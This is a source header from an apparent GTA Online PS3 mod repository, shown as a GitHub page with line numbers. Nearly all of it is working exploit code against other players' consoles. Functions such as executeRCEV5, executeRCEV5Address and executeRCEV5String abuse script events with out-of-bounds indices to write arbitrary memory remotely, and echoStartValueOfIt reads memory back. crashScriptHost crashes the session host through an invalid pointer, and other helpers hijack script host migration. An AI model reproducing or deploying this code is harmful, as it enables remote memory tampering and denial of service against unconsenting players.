-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathrce.h
4289 lines (3469 loc) · 371 KB
/
rce.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
// https://github.com/gopro2027/GTAOnline-RCE
// RIP GTA Online PS3 Gone Too Soon
#pragma once
#define RCE
void runStatFile(char* file, void(*func)(int type, int stat, int value));
void runNativeFile(char* file, int(*callNative)(unsigned int native, int r3, int r4, int r5, int r6, int r7, int r8, int r9));
void testGlobalBruteForce(int globalID, int size, int value = 0x7FFFFFFF) {
for (int i = 0; i < size; i++) {
int v = Read_Global(globalID + i);
if (v > 0x12 || v < 1)//0x12 commonly used as the arrays size thing
Write_Global(globalID + i, value);
}
}
int hostGlobalsArr[15] = { 2387877,2388179,2378765,2388295,2388936,2389146,2389371,2389701,2390030,2468303,1572928,1588610,1666034,1673856,1591180 };
int hostGlobalsArrSize[15] = { 302,116,1689,641,210,225,330,329,171,76,238,19,35,268,4 };
/*
Global_2388179.imm_79[uVar1 <2>] = iVar0;
Global_2388179.imm_79[uVar1 <2>].imm_1 = iVar2;
setting those both to 21 can mess it up
if (Global_2388179.imm_79[player_id() <2>] != -1)
{
Global_2394218.imm_2563 = Global_2388179.imm_79[player_id() <2>];
func_3049(2);
}
this is called
void func_6151(var uParam0)
{
struct<4> Var0;
int iVar1;
if (get_event_data(1, uParam0, &Var0, 4))
{
iVar1 = func_6154(Var0.imm_2);//Global_2389701.imm_184[uParam0 <8>].imm_5;
iVar1 += Var0.imm_3;
if (iVar1 < 0)
{
func_6153(Var0.imm_2, 0);
}
else if (IntToFloat(iVar1) > Global_262145.imm_107)
{
func_6152(Var0);
}
else
{
func_6153(Var0.imm_2, iVar1);//possibble rce
}
}
}
case 202:
void func_6153(var uParam0, var uParam1)
{
Global_2389701.imm_184[uParam0 <8>].imm_5 = uParam1;
}
var func_6154(var uParam0)
{
return Global_2389701.imm_184[uParam0 <8>].imm_5;
}
//better exploit
void func_6175(var uParam0)
{
struct<5> Var0;
if (get_event_data(1, uParam0, &Var0, 5))
{
if (Global_2428620.imm_241 == Var0.imm_2)
{
Global_2428620.imm_241.imm_1++;
Global_2428620.imm_241.imm_40[Var0.imm_1] = Var0.imm_4;
}
}
}
*/
//set global 2 to 2 to force join a new session
__attribute((noinline)) void executeRCEV1(int player, int global, int valueToAdd) {
encryptFunctionStart((void*)executeRCEV1);
unsigned int playerBit = (1 << player);
//index -298736 = global id 2
//int global = 2389701+184+i*8+5;
if ((global - 2) % 8 == 0) {
//works!
}
else {
//print2("Error! Cannot set right value. Check console.");
//printf("Remainder on calculation of global %i is %i", global, (global - 2) % 8);
}
int index = (global - 2389890) / 8;
int arrayIndex = index;
int valueAddedOn = valueToAdd;
//Global_2389701.imm_184[arrayIndex <8>].imm_5 = Global_2389701.imm_184[arrayIndex <8>].imm_5 + valueAddedOn; is what gets calculated
ScriptArg args[4] = { 202,player,arrayIndex,valueAddedOn };
//the end value range set much be between 0 and 60000 (int), if it's less than 0 it goes up to 0, greater than 60000 and idk the behavior
SCRIPT::TRIGGER_SCRIPT_EVENT(1, args, 4, playerBit);
encryptFunctionEnd();
}
__attribute((noinline)) void executeRCEV2(int player, int global, int value) {
encryptFunctionStart((void*)executeRCEV2);
int index = global - 2428901;
int arrayIndex = index;
int valueToMatch = Read_Global(2428620 + 241);//0 usually I think
//printf("Value to match: %i\n", valueToMatch);
ScriptArg args[5] = { 66,arrayIndex,valueToMatch,0/*unused*/,value };
//sets Global_2428620.imm_241.imm_40[Var0.imm_1] = Var0.imm_4;//array is size of 18
unsigned int playerBit = (1 << player);
SCRIPT::TRIGGER_SCRIPT_EVENT(1, args, 5, playerBit);
encryptFunctionEnd();
}
/*
Host globals found in trigger script event:
Searching "Global_2387877":
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 313294 no
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 313342 no
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 313825 maybe (long)
Searching "Global_2388179":
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 312643 no array
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 312653 no array
Searching "Global_2378765":
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 306779 no
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 306998 yes but array is size of 74 and contains multiple spots that would have to be overflowed
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 307047 yes like above but only 2 spots that have to be overflowed
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 307076 yes like above but only 1 spot, could be good!
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 307104 no lots of code
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 307331 no probably not
Searching "Global_2388295":
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 309979 no large function
Searching "Global_2388936":
Searching "Global_2389146":
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 312419 no
Searching "Global_2389371":
Searching "Global_2389701":
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 312118 yes but only on intervals of 10 and bit set
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 312217 no
Searching "Global_2390030":
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 313582 yes but has some weird bit stuff that might make it hard
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 313604 yes same as above
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 313626 no
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 313644 YES really good but only set to -1, event 20 trigger script
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 313662 yes same as above
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 318447 no long
Searching "Global_2468303":
Searching "Global_1572928":
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 298534 no long
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 305690 YES but have to call 32 times per global to set each bit, also only value is 0 (only clear bits)
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 310851 no
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 310861 no
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 312750 no almost thought it would be Global_2410912.imm_1581.imm_19[uVar2] = -1; but it's not a special global
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 313002 no long
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 313182 no
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 313825 no
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 318447 no long
Searching "Global_1588610":
Searching "Global_1666034":
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 306293 yes This could be used to read
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 306355 no
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 306433 no
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 306469 no
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 306506 yes this coulld be used to read by setting Var0.imm_3 to -max
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 306577 YES.... not part of trigger script event, it's event 317 YES nearly perfect one
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 306614 no
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 306638 no
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 306660 no
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 306698 no
File: C:\Users\Tyler\Desktop\scriptsWglobals\freemode.c Line: 313825 no
Searching "Global_1673856":
Searching "Global_1591180":
*/
//line 306506 test
__attribute((noinline)) void executeRCEV3(int player, int global, int valueToAdd) {
encryptFunctionStart((void*)executeRCEV3);
//first, take control of Global_1666034
if (!assureHostOfFreemode())
return;
//printf("Running it all\n");
//second, set global 1666035 to be 0x7FFFFFFF to maximize the array size
Write_Global(1666035, 0x7FFFFFFF);
//third, set Global_1666034.imm_1[4] to be the same as valueToAdd for the last if statement to pass
Write_Global(1666035 + 1 + 4, valueToAdd);
//fourth, Global_1666034.imm_1[index] (value being set) must be less than whatever Global_262145.imm_6760 is on their system to start (0x46 or something?) so the first 2 if's don't pass
int index = global - (1666035 + 1);//so if the global was index 0 of the array (1666036), it would result to (1666036 - (1666035+1)) which is 0
//valueToAdd must be greater than 0 for the first tests to work
ScriptArg args[4] = { 318,0,index,valueToAdd };
unsigned int playerBit = (1 << player);
SCRIPT::TRIGGER_SCRIPT_EVENT(1, args, 4, playerBit);
encryptFunctionEnd();
}
//line 313644
//This works but I'm abandoning it for V5 which allows me to choose the value also
__attribute((noinline)) void executeRCEV4(int player, int global) {
encryptFunctionStart((void*)executeRCEV4);
//using index 1215752191 on this (so global 1215752191 + 2390071+1=1218142263 it tried to write to address 0x0558DBAEC )
//first, take control of Global_1666034
if (!assureHostOfFreemode())
return;
//printf("Running it all new\n");
//second, set global 2390071 to be 0x7FFFFFFF to maximize the array size
Write_Global(2390071, 0x7FFFFFFF);
int index = global - (2390071 + 1); //2390072 and 262144
// 1590566
if (index < 0) {
//print2("Fail!");
//printf("");
}
ScriptArg args[4] = { 20,0,index,false };
unsigned int playerBit = (1 << player);
SCRIPT::TRIGGER_SCRIPT_EVENT(1, args, 4, playerBit);
encryptFunctionEnd();
}
bool readyForRCEReadValue = false;
//Line: 305690
__attribute((noinline)) void initRCEV6() {
encryptFunctionStart((void*)initRCEV6);
//this one is for bit writing
//first, take control of Global_1572928
if (!assureHostOfFreemode()) {
print2("~r~Please try again");
return;
}
//iincreae size of 1572928.imm_120
Write_Global(1572928 + 120, 0x7FFFFFFF);
//this one is actuallyy for the write method:
Write_Global(1666034 + 1, 0x7FFFFFFF);//the array
Write_Global(1666038, 0x7FFFFFFF);//this one needs to be re-written every time unless the value at it is greater than Global_262145.imm_6760, bbut can only
readyForRCEReadValue = true;//make it say it's ready in case it gets messed up
encryptFunctionEnd();
}
/*
int readValueReturnVal = 0;
bool gotReadValueReturn = false;
bool getReturnValueOfRun(int *save) {
if (gotReadValueReturn) {
*save = readValueReturnVal;
gotReadValueReturn = false;
return true;
} else {
*save = 0;
return false;
}
}*/
bool pleaseWaitASecond = false;
bool awaitingRCEReset = false;
int rcegottenvaluereturn = 0;
void((*callbackOnResultValue2)(int)) = 0;
void callbackOnResultValue3() {
readyForRCEReadValue = true;
callbackOnResultValue2(rcegottenvaluereturn);
pleaseWaitASecond = false;
awaitingRCEReset = false;
}
void findNextIndexOfDataCallback(int valueGotten);
int echoreadvaluetmpplayerid = 0;
void executeRCEV5(int player, int global, int value);
void((*callbackOnResultValue)(int)) = 0;
__attribute((noinline)) void testPrintResultValue(int) {
encryptFunctionStart((void*)testPrintResultValue);
//try fiinding address 0x1891568 which is 0x744E6577
//assume the value is greater than Global_262145.imm_6760 so it hits the neat one
int absOfResultValue = Read_Global(1666038) - 0x7FFFFFFF/*previous value of this*/ + 0x46;//lmao I guess it's the 46 cuz of that weird fuckin value
//readValueReturnVal = absOfResultValue;
//printf("Result value: 0x%X %i callback: 0x%X 0x%X 0x%X\n", absOfResultValue, absOfResultValue, callbackOnResultValue, (int)findNextIndexOfDataCallback, *(int*)(int)findNextIndexOfDataCallback);
//gotReadValueReturn = true;//This is used for the init method or somethiing idk anymore
executeRCEV5(echoreadvaluetmpplayerid, 1666038, 0x7FFFFFFF);//reset the value back to the origiinal lmao
//Write_Global(1666038,0x7FFFFFFF);
if (callbackOnResultValue != 0) {
void((*tmp)(int)) = callbackOnResultValue;
callbackOnResultValue = 0;
//readyForRCEReadValue = true;
//tmp(absOfResultValue);
callbackOnResultValue2 = tmp;
pleaseWaitASecond = true;
awaitingRCEReset = true;
rcegottenvaluereturn = absOfResultValue;
//runlater::runlater(timeoutvaluetest,callbackOnResultValue3,absOfResultValue);//need to give it some time before reading again so it can reset on fast ones because I am still getting duplicate data
}
else {
readyForRCEReadValue = true;
pleaseWaitASecond = false;
}
encryptFunctionEnd();
}
//int echoStartValueOfItTimeout = 70;//50 did not give good results
void dummyfunc(int) {}
bool outputTheEchoTestValues = false;
void echoStartValueOfIt_loop() {
if (readyForRCEReadValue == false && pleaseWaitASecond == false) {
if (Read_Global(1666038) != 0x7FFFFFFF) {
//value ready
runlater_second::runlater(0, dummyfunc);
testPrintResultValue(0);
}
}
if (readyForRCEReadValue == false && awaitingRCEReset == true) {
//printf("GOT IN HERE 0x%X\n", Read_Global(1666038));
if (Read_Global(1666038) == 0x7FFFFFFF) {
//it is reset now
//printf("CALLING THE CALLBACK PART!\n");
callbackOnResultValue3();
}
}
if (outputTheEchoTestValues) {
//printf("readyForRCEReadValue: %i, awaitingRCEReset: %i\n", readyForRCEReadValue, awaitingRCEReset);
}
}
__attribute((noinline)) void echoStartValueOfIt(int player, int global, void (*callback)(int) = 0) {
encryptFunctionStart((void*)echoStartValueOfIt);
if (readyForRCEReadValue == false) {
//printf("Not ready to read yet!\n");
//return;
//just go to end lol
} else {
if (callback != 0)
callbackOnResultValue = callback;
Write_Global(1666038, 0x7FFFFFFF);//this is just on my system but it's also important
echoreadvaluetmpplayerid = player;
executeRCEV5(echoreadvaluetmpplayerid, 1666038, 0x7FFFFFFF);//reset the value on their system
readyForRCEReadValue = false;//make sure it's not timed out
//gotReadValueReturn = false;
int checkValue = Read_Global(262145 + 6760);
if (Read_Global(1666038) <= checkValue) {
//print2("Need to re-setup!");
//return;
}
//func_5930
//1666035 is in the same global area as the main write
//just add 0x18 to the address of this global (1666035) to get the address of the main global
int index = global - (1666035 + 1);//this is the index of what gets read back to us
if (index < 0) {
index = 0x7FFFFFFF + (index + 1);
}
//printf("Index: 0x%X %i\n",index,index);
ScriptArg args[6] = { 328,player,2/*the value I chose. imm 2 so why not use 2, it's the iindex I will read from in the end*/,0x80000000/*min int*/,0/*unk imm4*/,index };
//Global_1666034.imm_1[imm_2/*2*/] = 0x7FFFFFFF;//also needed to bbyypass size check
//the value we read gets added to this value
//global 1666038
//Global_1666034.imm_1 = 0x7FFFFFFF;//set array to be max int size
//Global_1666034.imm_1[Var0.imm_5] //is the value read, but will come back
unsigned int playerBit = (1 << player);
SCRIPT::TRIGGER_SCRIPT_EVENT(1, args, 6, playerBit);
//return value: global 1666038
//int absOfResultValue = Read_Global(1666038)-0x7FFFFFFF/*previous value of this*/;
runlater_second::runlater(100, testPrintResultValue);
}
encryptFunctionEnd();
}
__attribute((noinline)) void RCEV6(int player, int global, int bit) {
encryptFunctionStart((void*)RCEV6);
//Global_1572928 is on the same section as the other one
if (Read_Global(1573048) != 0x7FFFFFFF) {
//print2("v6 Not ready!");
//return;
}
else {
if (getHostOfFreemodeScript() != player) {
//print2("host is not selected player!");
//return;
}
else {
int index = global - (1573048 + 1);
if (index < 0) {
int tmpindex = index;
index = 0x7FFFFFFF + (index + 1);
//printf("Global (v6): %i, Ni: 0x%X, Oi: %i\n",global,index,tmpindex);
}
ScriptArg args[4] = { 290,bit,bit/*shouldn't use this imm2 unless index is a small number and passes the if statement check*/,index };
unsigned int playerBit = (1 << player);
SCRIPT::TRIGGER_SCRIPT_EVENT(1, args, 5, playerBit);
}
}
encryptFunctionEnd();
}
__attribute((noinline)) void giveHostToPlayer(int player) {
encryptFunctionStart((void*)giveHostToPlayer);
//printf("Requesting host...\n");
if (freemodeScriptCGameScriptHandlerNetwork != 0) {
suggestHost(0);//make it so host gets transferred to the other guy now
if (player == PLAYER::PLAYER_ID())
suggestHost(1);//highly suggest
if (getHostOfFreemodeScript() != player) {
CNetGamePlayer* cnet = getCNetGamePlayer(player);
if (cnet != 0) {
//This always makes it go to me
//I don't think this function does jack shit... It seems to be called all the time no matter what anyways???
CGameScriptHandlerNetComponent_msgScriptHostRequest(freemodeScriptCGameScriptHandlerNetwork->cGameScriptHandlerNetComponentSyncOne);//g_N4rage20msgScriptHostRequest12AutoIdDes THIS VERIFIES ME AS HOST IM PRETTY SURE AND
//This one is the actual one that requests the script host change to the player, but I beleive it also compares my time so i have to do suggestHost(0) first and if i dont then it will go back to me
sub_483A58(freemodeScriptCGameScriptHandlerNetwork->cGameScriptHandlerNetComponentSyncOne, cnet);//global_msgScriptMigrateHost
}
}
}
//printf("Requested host...\n");
encryptFunctionEnd();
}
__attribute((noinline)) void crashScriptHost(int player) {
encryptFunctionStart((void*)crashScriptHost);
//freezePlayerEvent(player);//i have no idea if this works but fake it
if (getHostOfFreemodeScript() != player) {
//print2("~r~Please Try Again");
}
else {
//only works on lobby scritp host, will crash them inside the jenkins hash function on set_override_weather
char* weatherValuePointer = (char*)0x4;//0 = null pointer, it's a broken script event and accepts pointer for some reason... 0 wont work tho cuz it will bypass the 0 on the func, try a different invalid address like 0x4
ScriptArg args[3] = { 16,player,(int)weatherValuePointer };
unsigned int playerBit = (1 << player);
SCRIPT::TRIGGER_SCRIPT_EVENT(1, args, 3, playerBit);
//print2("~b~Player Frozen in here!");
}
runlater::runlater(100, freezePlayerV4, player);
//freezePlayerV4(player);//this one actually works, just curious if it will cause a crash first, also if i did more research on it I could make this very powerful
//freezePlayerBy16Event(player);//this one doesn't seem to work but why not, fake it
encryptFunctionEnd();
}
__attribute((noinline)) void crashScriptHostStart(int player) {
encryptFunctionStart((void*)crashScriptHostStart);
CNetGamePlayer* cnet = getCNetGamePlayer(player);
if (!assureHostOfFreemode() || cnet == 0) {
print2("~r~Please try again");
}
else {
//print2("Working...");
giveHostToPlayer(player);
runlater::runlater(200, crashScriptHost, player);
print2("~g~Player Frozen!");
}
encryptFunctionEnd();
}
__attribute((noinline)) void initRCEV5Finalize(int player) {
encryptFunctionStart((void*)initRCEV5Finalize);
suggestHost(0);//make it so host gets transferred to the other guy now
//okay so this can stay as suggest because we don't reaaallly care about the host changing until phase 2. This is phase 1. This only only assists in the host change by suggestHost(0)
//assureHostOfFreemode();
/*This works... but only locally. test_send_msgScriptMigrateHost only sets it for ourself and doesn't for everyone else. If we somehow managed to get this to call on their system though...*/
//test_CGameScriptHandlerNetComponent_msgScriptHostRequest();
CNetGamePlayer* cnet = getCNetGamePlayer(player);
if (cnet != 0) {
CGameScriptHandlerNetComponent_msgScriptHostRequest(freemodeScriptCGameScriptHandlerNetwork->cGameScriptHandlerNetComponentSyncOne);
//test_send_msgScriptMigrateHost(player);
sub_483A58(freemodeScriptCGameScriptHandlerNetwork->cGameScriptHandlerNetComponentSyncOne, cnet);
}
print2("~g~Ready! Time for 'Phase 2'", 60000);
readyForRCEReadValue = true;
encryptFunctionEnd();
}
__attribute((noinline)) void initRCEV5(int player = 0) {
encryptFunctionStart((void*)initRCEV5);
//first, take control of Global_1666034
CNetGamePlayer* cnet = getCNetGamePlayer(player);
if (!assureHostOfFreemode() || cnet == 0) {
print2("~r~Please try again");
//return;
}
else {
//Global_1666034.imm_7[Var0.imm_2] = Var0.imm_3;
Write_Global(1666041, 0x7FFFFFFF);
//also need to set 1666034.imm_12 size because it's read in the code (with the same index we send) and it will crash from out of bounds
Write_Global(1666034 + 12, 0x7FFFFFFF);//maybe setting it negative fixes it lmao
initRCEV6();
//print2("Please wait a moment...");
runlater::runlater(100,initRCEV5Finalize,player);
}
encryptFunctionEnd();
}
//line Line: 306577
bool doRCEV5NegativeFix = true;
__attribute((noinline)) void executeRCEV5(int player, int global, int value) {
encryptFunctionStart((void*)executeRCEV5);
//2147483646 will give 1 behind the array aka 0x7FFFFFFE
//to find this function for pc, search ".f_7[Var0" in the freemode.c and it will get you there
if (Read_Global(1666041) != 0x7FFFFFFF) {
//print2("Not ready!");
//return;
}
else {
assureHostOfFreemode(player);//this is necessary, function now works, just slowly
if (getHostOfFreemodeScript() != player) {
//printf("Player %i chosen, not ready %s\n", player, PLAYER::GET_PLAYER_NAME(player));
print2("Not ready yet! Please wait a bit and retry");
//return;
}
else {
//ScriptArg rargs[3] = {195,player,0};//-1 is default value I think
unsigned int playerBit = (1 << player);
//SCRIPT::TRIGGER_SCRIPT_EVENT(1,rargs,3,playerBit);
int index = global - (1666041 + 1);
if (index < 0) {
//print2("Fail!");
//printf("Cannot set a negative value %i\n",index);
//0x7FFFFFFE = Global_1666040
//1666040 - (1666041+1) = -2 which makes sense
int tmpindex = index;
index = 0x7FFFFFFF + (index + 1);
//1666040 should return 0x7FFFFFFE
//printf("Global: %i, Ni: 0x%X, Oi: %i\n",global,index,tmpindex);
}
bool isTopBitSet = ((int)(value & (1 << 31)) >> 31);
if (doRCEV5NegativeFix) {
value = value | (1 << 31);//make sure it is negative, otherwise you will get freemode script crash
}
ScriptArg args[5] = { 317,0,index,value/*imm3*/,-1/*player id, set to -1 to do nothing on last*/ };
SCRIPT::TRIGGER_SCRIPT_EVENT(1, args, 5, playerBit);
if (doRCEV5NegativeFix) {
if (!isTopBitSet) {
//clear the top bit with the v6 method
RCEV6(player, global, 31);//This does appear to work on tests, setting 0x70000000 will result in F0 if this function is not called
}
}
//now call script event 195 to reset the value we just set wrong on accident via the previous trigger
//func_6131 would fix the value that was set
//SCRIPT::TRIGGER_SCRIPT_EVENT(1,rargs,3,playerBit);
}
}
encryptFunctionEnd();
}
__attribute((noinline)) void executeRCEV5Offset(int player, int offset, int value) {
encryptFunctionStart((void*)executeRCEV5Offset);
executeRCEV5(player, (1666041 + 1) + offset, value);
encryptFunctionEnd();
}
__attribute((noinline)) void echoStartValueOfItOffset(int player, int offset, void (*callback)(int) = 0) {
encryptFunctionStart((void*)echoStartValueOfItOffset);
echoStartValueOfIt(player, (1666035 + 1) + offset, callback);
encryptFunctionEnd();
}
int addressToIndexForExploit(int addressToGoTo, int addressOfArray) {
//addressOfArray is the address with the value 0x7FFFFFFF, so we need to figure this out for other players
//1666041 is addressOfArray which is index -1, 0x33A93FE4 on original text
int difGlobal = (addressToGoTo - addressOfArray) / 4 - 1;
//difGlobal = (0x33A93FE0-0x33A93FE4)/4 - 1;
return difGlobal;
}
int addressOfTheExploitArray = 0x33A93FE4;//this changes, have to find the new one. Address of Global_1666041
// 0x3399CC54
int addOnToBaseExploitAddress = 0;
//writes an int32 to the address
void executeRCEV5Address(int player, int address, int value) {
//addressOfTheExploitArray = Read_Global_Address(1666041);//REMOVE WHEN TESTING ON OTHERS
executeRCEV5Offset(player, addressToIndexForExploit(address, addressOfTheExploitArray + addOnToBaseExploitAddress), value);
}
void echoStartValueOfItAddress(int player, int address, void (*callback)(int) = 0) {
//printf("Requesting address: 0x%X\n", address);
//address = Read_Global_Address(1666038-12);
echoStartValueOfItOffset(player, addressToIndexForExploit(address, addressOfTheExploitArray + addOnToBaseExploitAddress - 0x18)/*0x18 because the address is -0x18 relative to the write globbal address always*/, callback);
/*
//positive test
int g = 1666035+1;//index 0
int calcindex = addressToIndexForExploit(Read_Global_Address(g),addressOfTheExploitArray+addOnToBaseExploitAddress-0x18);
printf("Real index: %i, calced index: %i\n",g,calcindex);
//initRCEV5();
echoStartValueOfIt(player,calcindex);
//negative test
g = 1666035+1-8;//index 0
calcindex = addressToIndexForExploit(Read_Global_Address(g),addressOfTheExploitArray+addOnToBaseExploitAddress-0x18);
printf("Real index: %i, calced index: %i\n",g,calcindex);
initRCEV5();
echoStartValueOfIt(player,calcindex);*/
}
//writes a string to the address, 4 byte aligned
void executeRCEV5String(int player, int address, char* value, bool writeLineEnding = false) {
int len = strlen(value);
int checkamt = len;
if (writeLineEnding == false)
checkamt = checkamt - 1;
len = len + (4 - (checkamt % 4));
len /= 4;
for (int i = 0; i < len; i++) {
int num = *(int*)((int)value + (i * 4));
executeRCEV5Address(player, address + (i * 4), num);
}
}
/*void someTestStuffRCEV5Local() {
int difOfBaseAddress = (addressOfTheExploitArray+addOnToBaseExploitAddress) - Read_Global_Address(1666041);
printf("Difference in change: %i g: %i\n",difOfBaseAddress,difOfBaseAddress/4);
}*/
bool isBLUSVersionOfGame = false;//0x1809384 is the BLES string, 0x1824084 is BLUS string, 0x1AD00 difference blus-bles
void setPlayerNameRCEV5(int player, int name) {
//0x41143344 is the name address
//0x31333337
executeRCEV5Address(player, 0x41143344, name);//1337 text
}
char rcev5TestMessageBuffer[500];
void renderTextForPlayerRCEV5(int player, char* text, bool enabled = true) {
//0x2066FCC is the text, set text to turn on
//0x20676DC is the value, set to 3 to turn on, 1 to turn off
if (enabled) {
executeRCEV5String(player, isBLUSVersionOfGame ? 0x20773CC/*BLUS*/ : 0x2066FCC, text, true);//0x20773CC BLUS
executeRCEV5Address(player, isBLUSVersionOfGame ? 0x2077ADC/*BLUS*/ : 0x20676DC, 3);//0x2077ADC BLUS
}
else {
executeRCEV5Address(player, isBLUSVersionOfGame ? 0x2077ADC : 0x20676DC, 1);//0x2077ADC BLUS
}
}
/*void renderStringDebug(char *str, bool enabled = true) {
if (enabled) {
strcpy((char*)0x2066FCC,str);
*(int*)0x20676DC = 3;
} else {
*(int*)0x20676DC = 1;
}
}*/
/*
void testFindPlayersName(int player, int i) {
char buf[8];
snprintf(buf,sizeof(buf)," %i",i);
int n = *(int*)buf;
//printf("Name being set: 0x%X\n",n);
addOnToBaseExploitAddress = i * 4096;
setPlayerNameRCEV5(player,n);
}*/
//int recv5searchRange = 5;//getReturnValueOfRun
/*
int findRCEV5StartValuePlayer = 0;
bool findRCEV5StartValueBool = false;
int findRCEV5StartValueIndex = 0;
void findRCEV5StartValue_loop() {
if (findRCEV5StartValueBool) {
if (findRCEV5StartValueIndex < recv5searchRange) {
int ret = 0;
if (getReturnValueOfRun(&ret)) {
